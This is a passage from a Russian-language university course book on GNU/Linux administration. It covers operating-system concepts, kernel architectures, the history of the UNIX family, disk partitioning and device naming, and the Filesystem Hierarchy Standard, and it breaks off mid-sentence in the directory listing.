ABC Unix Выпуск 1.0.01

сент. 07, 2017

Оглавление

1 Операционная система GNU/Linux3 1.1 Операционная система GNU/Linux...... 3

2 Администрирование вычислительных сетей 115 2.1 Администрирование вычислительных сетей...... 115

3 Открытые облачные системы 211 3.1 Открытые облачные системы...... 211

i ii ABC Unix, Выпуск 1.0.01

Сквозной набор дисциплин для освоения технологий построения современных вычислительных систем на базе открытого программного обеспечения. Курсы лекций, курсовые работы и практиче- ские занятия базируются на программном обеспечения Red Hat совместимых операционных систем: RHEL, CentOS, Oracle Linux. Практические занятия проводятся на базе блейд-системы Fujitsu PRIMERGY BX400 S1.

Оглавление 1 ABC Unix, Выпуск 1.0.01

2 Оглавление ГЛАВА 1

Операционная система GNU/Linux

Дисциплина входит в вариативную часть образовательной программы подготовки студентов по направлению «09.04.01 Информатика и вычислительная техника». Курс предназначен для изу- чения основ установки, настройки и администрирования аппаратно-программных комплексов на базе блейд-систем под управлением Red Hat совместимых операционных систем. Лекционный курс дополняют практические занятия по: • установке и настройке операционной системы CentOS (RHEL, Oracle Linux) версий 6 и 7; • управлению пользователями, файловой системой и программным обеспечением; • настройке планировщика задач, системы протоколирования; • мониторингу аппаратно-программного комплекса; • созданию и обслуживанию RAID, BTRFS, LVM; • осуществлению мероприятий по обеспечению безопасности.

Операционная система GNU/Linux

Краткие сведения из теории операционных систем

Основные понятия

В процессе эволюции возникло несколько важных концепций, которые стали неотъемлемой частью теории и практики ОС. Рассматриваемые в данном разделе понятия будут встречаться и разъяс- няться на протяжении всего курса. Здесь дается их краткое описание.

Прерывание

Прерывание (interrupt) событие, генерируемое либо устройством (аппаратное), либо исполняемым кодом (программное). Аппаратное прерывание это асинхронное событие, которое не зависит от того, какой код исполняется процессором в данный момент.

3 ABC Unix, Выпуск 1.0.01

Защишенный режим (режим пользователя)

В этом режиме код исполняется в защищенном режиме и имеет доступ к памяти пользовательских программ, тоько в соответствии с провами доступа.

Не защищенный режим (режим ядра)

В этом режиме работает код ядра операционной системы, который имеет полный доступ к памяти любых пользовательских программ.

Системные вызовы

В большинстве современных операционных систем поддерживается механизм, который позволяет пользовательским программам обращаться к функциям ядра. В ОС UNIX такой механизм назы- ваются системными вызовами. Системные вызовы организованы в виде библиотеки процедур (libc или glibc), которые загружают машинные регистры параметрами и осуществляют прерывание про- цессора, после чего управление передается обработчику данного вызова, в ядре операционной систе- мы. Главной особенностью системных вызовов является то, что они выполняются в незащищенном режиме, в отличии от обычных процедур пользователя, выполняющихся в защищенном режиме. В ОС UNIX системный вызов осуществляется командой программного прерывания (INT). Поэто- му, их иногда еще называют программными прерываниями в отличие от аппаратных прерываний, которые чаще всего называют просто прерываниями.

Исключительные ситуации

Исключительная ситуация (exception) событие, возникающее в результате попытки выполнения программой недопустимой команды. Исключительные ситуации так же, как и системные вызовы, являются синхронными событиями, возникающими в контексте текущей задачи. Исключительные ситуации можно разделить на исправимые и неисправимые. К исправимым относятся такие ис- ключительные ситуации, как отсутствие нужной информации в оперативной памяти. После устра- нения причины исправимой исключительной ситуации программа может продолжить выполнение. Возникновение в процессе работы операционной системы исправимых исключительных ситуаций является нормальным явлением. Неисправимые исключительные ситуации обычно возникают в результате ошибок в программах. Обычно операционная система реагирует на такие ситуации за- вершением программы, вызвавшей исключительную ситуацию.

Файлы

Файлы предназначены для хранения информации на внешних носителях, то есть принято, что ин- формация, записанная, например, на диске, должна находиться внутри файла. Обычно под файлом понимают именованную часть пространства на носителе информации. Главная задача файловой системы (file system) – скрыть особенности ввода-вывода и дать программисту простую абстракт- ную модель файлов, независимых от устройств. Для чтения, создания, удаления, записи, открытия и закрытия файлов также имеется обширная категория системных вызовов (создание, удаление, открытие, закрытие, чтение и т.д.). Пользователям хорошо знакомы такие связанные с органи- зацией файловой системы понятия, как каталог, текущий каталог, корневой каталог, путь. Для манипулирования этими объектами в операционной системе имеются системные вызовы.

Структура вычислительной системы

Любая вычислительная система состоит из: • технического обеспечения (процессора, памяти, устройств ввода вывода, дисковых устройств и т.д.), обычно объединенного магистральным соединением, которое называется шиной.

4 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

• программного обеспечения (ПО). Все программное обеспечение принято делить на две части: • прикладное программное обеспечение • системное программное обеспечение Разделение ПО на прикладное и системное трудно формализовать. К прикладному ПО, как правило, относят разнообразные программы используемые обычным поль- зователем. Под системным ПО обычно понимают программы, обеспечивающие функционирование вычисли- тельной системы. Современную вычислительную систему общего назначения можно представить в виде следующей иерархической структуры:

Пользователь

------+ Прикладные| программы| | ------+| Системные||--- Программное обеспечение программы|| |--- Системные программы| Операционная|| система|| ------+| ------+

Техническое обеспечение

Операционная система является базовой состовляющей системного программного обеспечения.

Определение операционной системы

В монографии Э. Таненбаум “Операционные системы” приводятся несколько определений опера- ционной системы (ОС): • операционная система как виртуальная машина, • операционная система как менеджер ресурсов, • операционная система как диспетчер пользовательских запросов и программ, • операционная система как постоянно функционирующее ядро. На настоящий момент не существует адекватного определения для всех существующих разновид- ностей ОС. Проще сказать, что конкретная операционная система делает и для чего она нужна. Поэтому в следующих разделах рассматриается история и классификация ОС. Затем дается “опре- деление” UNIX-подобных операционных систем.

Основные функции классической операционной системы

1. Планирование заданий и использования процессора. 2. Обеспечение программ средствами коммуникации и синхронизации. 3. Управление памятью. 4. Управление файловой системой.

1.1. Операционная система GNU/Linux 5 ABC Unix, Выпуск 1.0.01

5. Управление вводом-выводом. 6. Защита программ и данных пользователей

Архитектурные особенности ОС

Классификация по типу ядра

Исторически сложилось, что все операционные системы, начиная с самых первых и до самых совре- менных, принадлежат к одному из двух классов, которые различаются архитектурой построения ядра: - макроядро, появилось первым, другое название - монолитное ядро. К этому классу отно- сится большая часть известных операционных систем: IBM OS/360, RSX-11, VAX-VMS, MS-DOS, OS/2, GNU/Linux, все клоны BSD, Sun Solaris; - микроядро возникло позже, другие названия: клиент-серверные операционные системы и системы с обменом сообщениями. К этому классу от- носятся: QNX, MINIX 3, HURD, ядро Darwin MacOS.

Макроядро

В макроядерной архитектуре все запросы приложения выполняют отдельные ветви кода внутри ядра. Приложение A, когда ему необходим доступ к определенному сервису, формирует системный вызов к ядру, который передается через единую для всех типов запросов точку входа. Код ядра вы- полняет полученный системный вызова в пространстве ядра, и по завершению копирует результат в адресное пространство процесса A. В данном типе архитектуры значительно больше системных вызовов (порядка нескольких сотен), чем в микроядре. В операционных системах с монолитным ядром сборка ядра, осуществляется отдельно для каждого компьютера, на который устанавливает- ся операционная система. При этом выбирается список оборудования и программных протоколов, поддержка которых будет включена в ядро. Единственный способ добавить в монолитное ядро но- вые компоненты или исключить неиспользуемые - это перекомпиляция. Присутствие в ядре лишних компонентов крайне нежелательно, так как ядро полностью располагается в оперативной памяти. Кроме того, исключение ненужных компонент повышает надежность операционной системы. Для системы промышленного уровня, когда необходимо обеспечить поддержку широкого спектра обо- рудования, часть которого еще неизвестна в момент написания ядра, технология макроядра уже не подходит. Поэтому современные монолитные операционные системы поддерживают ту или иную модель динамической реконфигурации.

Макроядро с поддержкой модулей

Одной из технологий динамической реконфигурации монолитного ядра является т.н. технология модулей ядра. Механизм модулей представляет собой формальный список правил, согласно кото- рому программный код размещается в адресном пространстве ядра и может использовать имена (символы) из пространства ядра: вызывать функции или использовать объекты данных. Таким образом, код модуля ядра становится неотъемлемой составной частью ядра и выполняется с при- вилегиями суперпользователя или со всеми возможными для ядра привилегиями.

Микроядро

В микроядерной архитектуре прикладное приложение, которому необходим доступ к некоторому сервису, отправляет сообщение с запросом микроядру. Микроядро передает запрос (в соответствии с его адресом) другому процессу. Оба процесса являются процессами пространства пользователя. Выполнив запрос, процесс возвращает сообщение, содержащее результат операции. Это ответное сообщение передается микроядру, которое, в свою очередь, ретранслирует его исходному процессу, ожидающему ответ. Никакого двойного копирования данных при этом не происходит, так как мик- роядро обладает необходимыми привилегиями, чтобы предоставлять доступ из адресного простран- ства одного процесса другому процессу. Микроядро обслуживает минимально возможный набор

6 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

системных вызовов (обычно менее 100), но главным его преимуществом является то, что все вза- имодействующие процессы работают в пространстве пользователя (каждый в своём). Микроядро работает в привилегированном режиме и обеспечивает взаимодействие между программами: пла- нирование использования процессора, первичную обработку прерываний, операции ввода-вывода и базовое управление памятью. Остальные компоненты системы взаимодействуют друг с другом путем передачи сообщений через микроядро. Основное достоинство микроядерной архитектуры высокая степень модульности ядра операционной системы. Это существенно упрощает добавление в него новых компонент. В микроядерной операционной системе можно, не прерывая ее работы, загружать и выгружать новые драйверы, файловые системы и т. д. Существенно упрощается про- цесс отладки компонент ядра, так как новая версия драйвера может загружаться без перезапуска всей операционной системы. Компоненты ядра операционной системы ничем принципиально не отличаются от пользовательских программ, поэтому для их отладки можно применять обычные средства. В то же время, микроядерная архитектура характеризуется дополнительными аппарат- ными затратами, связанными с усложнением процесса взаимодействия между модулями ядра.

Классификация по архитектуре

Все архитектурные решения обозреть не возможно, поэтому ниже рассмотрены три наиболее часто используемых способа организации современных операционных систем.

Многоуровневые системы

Операционная система разделяется на ряд подсистем с однозначно определенными связями, так что подсистема уровня N может вызывать только подсистему из уровня N-1. Нижним уровнем в таких системах обычно являются аппаратные ресурсы, верхним уровнем интерфейс пользователя. Чем ниже уровень, тем более привилегированные команды и действия может выполнять подсистема, находящаяся на этом уровне.

Виртуальные машины

Операционная система создает персональную виртуальную машину для каждого пользователя. Каждая такая виртуальная машина является копией всей вычислительной системы, включая про- цессор, привилегированные и непривилегированные команды, устройства ввода-вывода, прерыва- ния и т.д. При попытке обратиться к этому виртуальному железу на уровне привилегированных команд, в действительности происходит системный вызов реальной операционной системы, ко- торая и производит все необходимые действия. Такой подход позволяет каждому пользователю загрузить свою собственную операционную систему на виртуальную машину. Первой реальной си- стемой такого рода была система CP/CMS или VM/370, как ее называют сейчас, для семейства машин IBM/370. Недостатками таких операционных систем являются: снижение производительно- сти виртуальных машин по сравнению с реальной машиной и большая избыточность системного ПО. Преимуществом - использование на одной вычислительной системе программ, написанных для разных операционных систем.

Смешанные системы

Рассмотренные подходы к построению операционных систем имеют свои преимущества и недостат- ки. В большинстве случаев современные операционные системы используют различные комбинации этих подходов. Наиболее тесно элементы микроядерной архитектуры и элементы монолитного ядра переплетены в ядре Windows NT. Хотя Windows NT часто называют микроядерной операционной системой, это не совсем так. Микроядро NT слишком сложно и велико (более 1 Мб), чтобы носить приставку “микро”. Компоненты ядра Windows NT взаимодействуют друг с другом путем передачи сообщений, как и положено в микроядерных операционных системах. В тоже время все компоненты ядра работают в одном адресном пространстве и активно используют общие структуры данных,

1.1. Операционная система GNU/Linux 7 ABC Unix, Выпуск 1.0.01

что свойственно операционным системам с монолитным ядром. Кроме того, в Windows NT суще- ствует разделение между режимом ядра и режимом пользователя еще одна черта монолитного ядра. По мнению разработчиков компании Microsoft чисто микроядерный дизайн операционной системы коммерчески непрактичен. Таким образом, Windows NT можно с полным правом назвать гибридной операционной системой.

Классификация операционных систем

Операционные системы могут различаться особенностями реализации внутренних алгоритмов управления основными ресурсами компьютера (процессором, памятью, внешними устройствами), особенностями использованных методов проектирования, типами аппаратных платформ, областя- ми использования и многими другими свойствами.

Особенности алгоритмов управления ресурсами

От эффективности алгоритмов управления локальными ресурсами компьютера во многом зави- сит эффективность ОС в целом. Так, например, в зависимости от особенностей использованного алгоритма управления процессором, операционные системы делят на многозадачные и однозадач- ные, многопользовательские и однопользовательские, на системы, поддерживающие многонитевую обработку и не поддерживающие ее, на многопроцессорные и однопроцессорные системы.

Поддержка многозадачности

По числу одновременно выполняемых задач операционные системы могут быть разделены на два класса: • однозадачные (MS-DOS, FreeDOS и т.д.); • многозадачные (FreeBSD, GNU/Linux, QNX, Windows 2008, Windows 7, Windows 98 и т.д.). Однозадачные ОС в основном выполняют функцию упрощения взаимодействия пользователя с компьютером. Однозадачные ОС включают средства управления периферийными устройствами, средства управления файлами, средства общения с пользователем. Многозадачные ОС, кроме пе- речисленных функций, управляют разделением совместно используемых ресурсов, таких как про- цессор, оперативная память, файлы и внешние устройства.

Поддержка многопользовательского режима

По числу одновременно работающих пользователей ОС делятся на: • однопользовательские (MS-DOS, Windows 3.x, Windows 9x, ранние версии OS/2 и т.д.); • многопользовательские (FreeBSD, GNU/Linux, QNX, Windows 2008, Windows 7 и т.д.). Главным отличием многопользовательских систем от однопользовательских является наличие средств защиты информации каждого пользователя от несанкционированного доступа других поль- зователей. Следует заметить, что не всякая многозадачная система является многопользователь- ской, и не всякая однопользовательская ОС является однозадачной.

Вытесняющая и невытесняющая многозадачность

Важнейшим разделяемым ресурсом компьютера является процессор. Способ распределения про- цессорного времени между несколькими процессами (задачами) во многом определяет специфику ОС. Среди множества существующих вариантов реализации многозадачности можно выделить две группы алгоритмов: • невытесняющая многозадачность (NetWare, Windows 3.x и т.д.);

8 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

• вытесняющая многозадачность (Windows 7, FreeBSD, GNU/Linux и т.д.). При невытесняющей многозадачности активный процесс выполняется до тех пор, пока он сам не передаст управление операционной системе для того, чтобы та выбрала из очереди другой гото- вый к выполнению процесс. При вытесняющей многозадачности решение о передаче управления принимается операционной системой.

Поддержка нитей вычисления

Важным свойством операционных систем является возможность распараллеливания вычислений в рамках одного процесса (задачи). Многонитевая ОС разделяет процессорное время не между задачами, а между их отдельными ветвями (нитями).

Многопроцессорная обработка

Другим важным свойством ОС является отсутствие или наличие в ней средств поддержки много- процессорной обработки. Функции многопроцессорной обработки имеются в операционных систе- мах Solaris фирмы Sun, Open Server компании Santa Crus Operations, OS/2 фирмы IBM, Windows фирмы Microsoft и NetWare фирмы Novell. Многопроцессорные ОС могут классифицироваться по способу организации вычислительного процесса в системе с многопроцессорной архитектурой: асимметричные ОС и симметричные ОС. Асимметричная ОС целиком выполняется только на од- ном из процессоров системы, распределяя прикладные задачи по остальным процессорам. Сим- метричная ОС полностью децентрализована и использует все процессоры, разделяя их между си- стемными и прикладными задачами. Выше были рассмотрены характеристики ОС, связанные с управлением только одним типом ресурсов - процессором. Важное влияние на облик операционной системы в целом, на возможности ее использования в той или иной области оказывают особенности и других подсистем управления локальными ресурсами - подсистем управления памятью, файлами, устройствами ввода-вывода. Специфика ОС проявляется и в том, каким образом она реализует се- тевые функции: распознавание и перенаправление в сеть запросов к удаленным ресурсам, передача сообщений по сети, выполнение удаленных запросов. При реализации сетевых функций возникает комплекс задач, связанных с распределенным характером хранения и обработки данных в сети: ведение справочной информации о всех доступных в сети ресурсах и серверах, адресация взаимо- действующих процессов, обеспечение прозрачности доступа, тиражирование данных, согласование копий, поддержка безопасности данных.

Особенности областей использования операционных систем

Системы пакетной обработки

Предназначены для решения задач в основном вычислительного характера, не требующих опе- ративного вмешательства в процесс вычисления. Взаимодействие пользователя с вычислительной машиной, на которой установлена система пакетной обработки, сводится к тому, что он приносит задание, отдает его диспетчеру-оператору, а в конце дня после выполнения всего пакета заданий получает результат. Очевидно, что такой порядок снижает эффективность работы пользователя.

Системы разделения времени

Расчитаны на оперативное взаимодействие с компьютером в процессе выполнения задачи. В систе- мах разделения времени каждой задаче выделяется квант процессорного времени, ни одна зада- ча не занимает процессор надолго, поэтому время реакции на запросы пользователя оказывается приемлемым. Если квант выбран достаточно небольшим, то у всех пользователей, одновременно работающих на одной и той же машине, складывается впечатление, что каждый из них единолич- но использует машину. Критерием эффективности систем разделения времени является не столько максимальная пропускная способность, сколько удобство и эффективность работы пользователя.

1.1. Операционная система GNU/Linux 9 ABC Unix, Выпуск 1.0.01

Системы реального времени

Применяются для управления различными техническими объектами в реальном времени. В этом случае существует предельно допустимое время, в течение которого должна быть выполнена та или иная задача, управляющая объектом. Критерием эффективности для систем реального време- ни является их способность выдерживать заранее заданные интервалы времени между запуском программы и получением результата (управляющего воздействия). Это время называется временем реакции системы, а соответствующее свойство системы - реактивностью. Большинство современ- ных ОС совмещают в себе свойства систем разных типов, например, часть задач может выполняться в режиме пакетной обработки, а часть - в режиме реального времени или в режиме разделения времени. В таких случаях режим пакетной обработки часто называют фоновым режимом. Google Диск–Сообщение о нарушении–Интервал автоматического обновления в минутах: 5

Операционные системы семейства Unix

В настоящее время UNIX прежде всего торговая марка, принадлежащая Unix System Laboratory (USL). Кроме того, это имя, данное целому “семейству” операционных систем наиболее популярной из которых является так называемый Linux. Для того чтобы разобраться в том, что такое “настоящий” UNIX, что такое “семейство” UNIX и, наконец, что такое Linux рассмотрим историю появления и развития этих систем.

«Настоящий» UNIX

В 1965 году одно из подразделений AT&T Bell Telephone Laboratories, объединив свои усилия с ком- панией General Electric и проектом MAC Массачусетского технологического института, приступает к разработке новой операционной системы, получившей название Multics. Перед разработчиками системы Multics были поставлены задачи: • обеспечить одновременный доступ к ресурсам ЭВМ большого количества пользователей; • обеспечить достаточную скорость вычислений; • дать возможность пользователям в случае необходимости совместно использовать данные. Первая версия системы Multics была запущена в 1969 году, но она не обеспечила выполнение поставленных задач. В этом же году на “малоиспользуемой” машине DEC PDP-7 Кен Томпсон (Ken Thompson), Деннис Ричи (Dennis Ritchie) и другие прежде, занимавшиеся созданием ОС Multics, начали работу над операционной системой, названной ими первоначально Unics (UNiplexed Information and Computing System), а в дальнейшем - UNIX (это название придумал Брайан Кер- ниган). В течение первых 10 лет развитие UNIX происходило в основном в подразделении AT&T Bell Telephone Laboratories. Соответствующие начальные версии назывались «Version n» (Vn) и пред- назначались для ЭВМ DEC PDP-11 (16-битовая) и VAX (32-битовая). В 1971 году система UNIX впервые была применена для решения практической задачи – обработки текстов патентного отдела Bell Telephone Laboratories. Для расширения возможностей системы Кен Томпсон начинает разработку нового языком програм- мирования Би (B), предшественником которого был язык BCPL. Язык Би был интерпретатором со всеми недостатками, присущими подобным языкам. Поэтому через некоторое время, Деннис Ричи преобразует интерпретатор Би в транслятор Си (C) с возможностью генерации машинного кода, объявления типа данных и определения структур данных. В 1973 году система UNIX переписывается заново на языке Си. Этот год можно считать годом рождения «настоящей» UNIX. К 1977 году количество машин, на которых функционировала си- стема UNIX, увеличилось до 500, причем 125 из них работали в университетах. В 1979 году выходит последняя «настоящая» UNIX, она включала компилятор языка Си, командный интерпретатор sh, систему uucp. Размер ядра составлял около 40 Кбайт.

10 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

«Семейство» UNIX

С ростом популярности микропроцессоров различные компании переносят ОС UNIX на новые ар- хитектуры компьютеров, самостоятельно развивая ее – в результате появляется «семейство» UNIX- систем. В период с 1977 по 1982 год компания AT&T объединяет различные варианты системы в единую систему, получившую коммерческое название System III. В то же время сотрудники Кали- форнийского университета в Беркли разрабатывают свой вариант системы, получивший название BSD. Первая версия ОС BSD вышла в 1975 году под названием 1.xBSD. В 1983 году выходит версия 4.2 BSD системы с полной поддержкой стека TCP/IP, сокетов, Ethernet. В том же году компания AT&T выпускает в свет новую версию, получившую название System V. Эта версия использовала файловую систему UFS с поддержкой длинных имен и символьных связей, включала в себя средства межпроцессного взаимодействия (IPC), а также обеспечивала поддержку основных утилит BSD. В период с 1982 по 1987 год происходит коммерциализация семейства UNIX, на базе System V и BSD появляются коммерческие варианты системы от различных производителей. Вот далеко не полный перечень коммерческих систем семейства UNIX: SunOS (в дальнейшем Solaris) от Sun Microsystems, HP-UX от Hewlett-Packard, XENIX от SCO, AIX от IBM, A/UX (в дальнейшем MAC OS) от Apple.

UNIX-подобные системы

Коммерциализация UNIX приводит к тому, что патенты и лицензии на исходный код системы оказываются в руках нескольких компаний: SCO, Novell, Sun Microsystems, IBM. Широкое использование ОС UNIX в университетах, с одной стороны, и невозможность ее свобод- ного распространения, с другой стороны, приводит к тому, что в 1984 году создается проект GNU (GNU Not Unix) и некоммерческая организация Free Software Foundation (FSF). Целью проекта является разработка программного обеспечения свободного от коммерческих лицензий и создание на его основе свободно распространяемой UNIX-подобной операционной системы.

GNU/Linux

Появление ядра Linux связано с появлением в 1985 году ОС MINIX. Эта система была разработана под руководством Эндрю Танненбаума для обучения студентов и представляла собой упрощенный вариант системы System V. Именно на базе этой ОС финский студент Линус Торвальдс разраба- тывает ядро Linux. Цель разработки Linux – получить ядро UNIX-подобной системы свободное от исходного кода, защищенного коммерческими патентами и лицензиями. В результате в 1991 году появляется первая версия GNU/Linux - ОС, использующей ядро Linux и свободное ПО проекта GNU. В отличие от большинства других систем, GNU/Linux не имеет единой «официальной» комплектации. GNU/Linux поставляется в виде большого количества так называемых дистрибутивов, в которых различные наборы программ проекта GNU соединяются с ядром Linux и другими программами. Наиболее известными дистрибутивами GNU/Linux являются Debian, Ubuntu, Red Hat, CentOS, Fedora, Slackware, Mandriva, SuSE, Gentoo. Из дистрибутивов российских разработчиков наиболее известен ALT Linux.

FreeBSD

В 1993 году благодаря усилиям энтузиастов из Калифорнийского университета Беркли появляется свободный от коммерческих лицензий вариант BSD системы - FreeBSD. В отличие от Linux FreeBSD полноправная ОС, состоящая из ядра и системного ПО, необходимого для организации интернет- сервера. На настоящий момент существует несколько систем на базе FreeBSD: NetBSD, OpenBSD.

1.1. Операционная система GNU/Linux 11 ABC Unix, Выпуск 1.0.01

Mac OS

Перечень UNIX-подобных систем не ограничивается GNU/Linux и FreeBSD. В 1999 году на ба- зе микроядра Mach и программного обеспечения FreeBSD фирма Apple выпустила Mac OS X, и организовала условно открытый проект Darwin с целью переноса Mac OS на платформу Intel.

Что такое Linux

GNU/Linux - Unix-подобная операционная система. Обычно, для краткости, GNU/Linux (произ- носится как «гну линукс») называют просто «Linux». Это не соответствует действительности, по- скольку Linux - это только ядро операционной системы. Правильное название ОС на базе ядра Linux - GNU/Linux, поскольку любой дистрибутив данной ОС кроме ядра содержит набор системного и прикладного программного обеспечения, разрабатываемого в рамках открытого проекта GNU под руководством некоммерческой организации Free Software Foundation. Операционная система GNU/Linux относится к семейству UNIX-подобных систем, не являясь в то же время «настоящим» UNIX. Связано это с тем, что GNU/Linux повторяя архитектуру и функциональность UNIX, не использует запатентованный исходный код «настоящих» UNIX систем. Основные характеристики GNU/Linux как представителя UNIX-подобных операционных систем: • переносимость (в настоящий момент поддерживается несколько десятков аппаратных плат- форм); • вытесняющая многозадачность; • изолированность адресных пространств виртуальной памяти; • поддержка одновременной работы многих пользователей; • поддержка вычислительных сетей (TCP/IP, IPX); • поддержка сетевых файловых систем NFS, GFS; • поддержка RAID-массивов, LVM, сетевых хранилищ данных (NAS); • поддержка асинхронных процессов; • иерархическая, журналируемая файловая система; • поддержка независимых от устройств операций ввода-вывода (через специальные файлы устройств); • стандартный интерфейс для программ (программные каналы, IPC); • встроенные средства учета использования системы. Операционная система GNU/Linux занимает лидирующие позиции как платформа для: • серверов и сервисов интернет; • виртуализации и построения облачных систем (Cloud System); • встраиваемых систем сетевого оборудования; • суперпроизводительных вычислительных систем • мобильных вычислительных устройств (смартфонов, планшетных ПК и т.д.). Дистрибутивы GNU/Linux можно условно разделить на две группы: • универсальные, включающие в себя программное обеспечение для решения практически лю- бых задач; • специализированные, предназначенные для решения заданного круга задач. В дальнейшем будут рассматриваться только универсальные дистрибутивы.

12 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Программное обеспечение для дистрибутивов GNU/Linux обычно доступно в виде так называемых репозиториев. Репозиторий - это своеобразная база данных программного обеспечения, предназна- ченная для установки и обновления ПО. Репозитории бывают двух типов: репозитории, хранящие ПО в исходном коде и репозитории, хранящие ПО в оттранслированном (бинарном) виде. Дистрибутивы GNU/Linux поддерживаются группой свободных разработчиков - сообществом (Debian, Slackware, Fedora, Gentoo), или коммерческой компанией (Red Hat, Novell, Canonical, ALTLinux и т.д.), которая осуществляет тестирование, разработку и целостность репозитория ПО. Самостоятельных (с собственным репозиторием), постоянно поддерживаемых сообществом или коммерческой компанией дистрибутивов не так уж и много. Вот наиболее популярные из них: Debian, Ubuntu, Slackware, Red Hat, Fedora, CentOS, Mandriva, ALTLinux, SuSE, Gentoo, Arch.

Что такое Android

Правильнее было бы операционную систему Андроид называть Android/Linux или Google/Linux, поскольку, Android — это ядро Linux и реализация Java от Google. Изначально разрабатывалась компанией Android Inc., которую затем приобрела компания Google. В настоящее время операцион- ная система Android занимает лидирующее место на рынке мобильных вычислительных устройств (смартфонов, “планшетов”, электронных книг, цифровых проигрывателей, наручных часов, игро- вых приставок, нетбуков, смартбуков, очков Google и т.д.).

Знакомство с системой

Об архитектуре

Архитектура как UNIX-систем, так и UNIX-подобных систем – многоуровневая. На нижнем уровне работает ядро операционной системы. Функции ядра доступны с помощью интерфейса системных вызовов, образующих второй уровень. На следующем уровне работает командный интерпретатор (shell), команды и утилиты системного администрирования, коммуникационные протоколы, – все то, что обычно относят к системному программному обеспечению. Внешний уровень образуют сетевые сервисы, графический интерфейс пользователя и прикладные программы пользователя.

Разделы жесткого диска и логические диски

В Intel-совместимых компьютерах (в дальнейшем просто компьютерах) информация на жестком диске (HDD) делится на так называемые разделы (partition). Описание разбиения на разделы хра- нится в специальной области диска, называемой таблицей разделов (Partition Table). В настоящее время жесткий диск можно разметить одним из следующих способов: • MBR-разметка. На одном физическом диске может быть создано не более 4-х основных раз- делов. Один из этих разделов может иметь специальный формат и содержать в себе другие разделы. Такой раздел называется расширенным, а содержащиеся в нем разделы называются логическими дисками или расширенными разделами. • GPT (GUID Partition Table)-разметка. Новый формат разметки, который пришел на смену MBR-разметке. В отличие от MBR, GPT-разметка поддерживает неограниченное количество разделов (понятия расширенный раздела и логический диск – отсутствуют). Одна из характеристик раздела – тип раздела, число, которое определяет какого типа и для какой ОС на данном разделе хранятся данные. Для установки GNU/Linux, в зависимости от вида разметки, необходимы разделы следующих ти- пов: GPT MBR Файловая система Назначение ef00 EFI File system для загрузки 8300 83 Linux native для хранения программ и данных 8200 82 Linux swap для организации виртуальной памяти

1.1. Операционная система GNU/Linux 13 ABC Unix, Выпуск 1.0.01

Кроме перечисленных, GNU/Linux в разной степени поддерживает все типы разделов MS Windows. Для того чтобы ОС могла хранить информацию, раздел диска должен быть специальным образом подготовлен (отформатирован). Каждая ОС использует свой формат разделов, называемый ти- пом файловой системы или просто файловой системой. Для установки GNU/Linux рекомендуется использовать одну из следующих файловых систем: • ext2 – поддерживает стандартные файлы Unix (обычные файлы, директории, символьные ссылки и т. д.). Позволяет использовать длинные имена файлов (до 255 символов). Исполь- зуется по умолчанию в старых версиях GNU/Linux. • ext3 – основанная на ext2 журналируемая файловая система, использование которой умень- шает вероятность потери данных и время на восстановления после сбоев по питанию. • ext4 – основанная на ext3 журналируемая файловая система c максимальным объёмом раз- дела диска до 1 экзабайта, максимальным размера файла до 16 терабайт и поддержкой ме- ханизма пространственной записи файлов, уменьшающего фрагментацию и повышающего производительность. GNU/Linux обращается к разделам диска, используя обозначения, отличающиеся от принятых в MS Windows системах. В MS Windows наименования для разделов жесткого диска формируются по следующим правилам: • начиная с первого, проверяется тип каждого раздела на совместимость с системой. • если тип раздела поддерживается системой, ему (начиная с латинской C) присваивается буква, обозначающая “диск” (drive letter). В GNU/Linux (также как в любой другой Unix системе) к разделу диска можно обратиться по имени специального файла устройств, расположенного в каталоге /dev. Имена файлов устройств xxyN для разделов жесткого диска формируются по следующим правилам: • первые два символа xx обозначают тип жесткого диска, на котором размещается раздел. Для IDE, SCSI, SATA и USB устройств – sd; • третий символ y соответствует номеру накопителя, на котором находится раздел. Первому диску соответствует буква a, второму b и т. д.; • цифра N указывает номер раздела на жестком диске. Основные разделы нумеруются с 1 по 4, нумерация логических дисков начинается с 5. Ниже приведена таблица соответствия между обозначениями “дисков” в MS Windows и файла- ми устройств в GNU/Linux при условии, что первоначальная разметка диска была произведена программой установки MS Windows: GNU/Linux Раздел Windows 1-ый диск 2-ой диск основной C: /dev/sda1 /dev/sdb1 расширенный - /dev/sda4 /dev/sdb4 логический D: /dev/sda5 /dev/sdb5 логический E: /dev/sda6 /dev/sdb6 логический F: /dev/sda7 /dev/sdb7 GNU/Linux позволяет использовать все типы файловых систем MS Windows. Метод доступа к разделам жесткого диска в GNU/Linux и MS Windows также отличаются. В MS Windows для обращения к файлу (каталогу), находящемуся на заданном разделе, в начало имени файла (каталога) добавляется буква, соответствующая имени “диска”. В GNU/Linux содержимое разделов отображается в виде каталогов. Операция, сопоставляющая содержимое раздела с содержимым каталога, называется монтированием (mounting), а каталог, отображающий содержимое раздела, – точкой монтирования (mount point). Например, если в GNU/Linux раздел sda1 был смонтирован в каталог /mnt/windows/С, то содержимое этого ка- талога, будет отображать содержимое диска C: в MS Windows.

14 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Файловая система

В GNU/Linux – так же как и в MS Windows – все данные организованы в виде иерархического дерева каталогов и файлов, но в отличие от MS Windows части дерева файловой системы мо- гут физически располагаться в разных разделах разных дисков или, вообще, на других компью- терах. Точка входа в единое для всех разделов дерево файловой системы обозначается как / и называется корневым каталогом или просто «корнем» файловой системы. В корневом каталоге GNU/Linux находятся только подкаталоги со стандартными именами. Более того, не только имена, но и содержимое каталогов корневой файловой системы строго регламентировано стандартом FHS (Filesystem Hierarchy Standard): / -находятся исполняемые файлы (программы) большинства утилит системы. Здесь bin находятся программы, которые могут понадобиться пользователям. / -находятся исполняемые файлы (программы) системных утилит. Здесь находятся sbin программы, которые могут понадобиться системному администратору для управления системой и ее восстановления после сбоев. / -находятся файлы, необходимые для загрузки ядра и само ядро. Пользователю boot практически никогда не требуется непосредственно работать с этими файлами. / -находятся все имеющиеся в системе файлы устройств: файлы особого типа, dev предназначенные для обращения к различным системным ресурсам и устройствам (англ. devices - устройства). В файлах устройств в действительности не хранятся никакие данные, с их помощью осуществляется обмен между устройствами и ОС. / -содержит системные конфигурационные файлы, в которых хранится информация о etc пользователях и настройках системы. / -расположены каталоги, принадлежащие пользователям системы - домашние 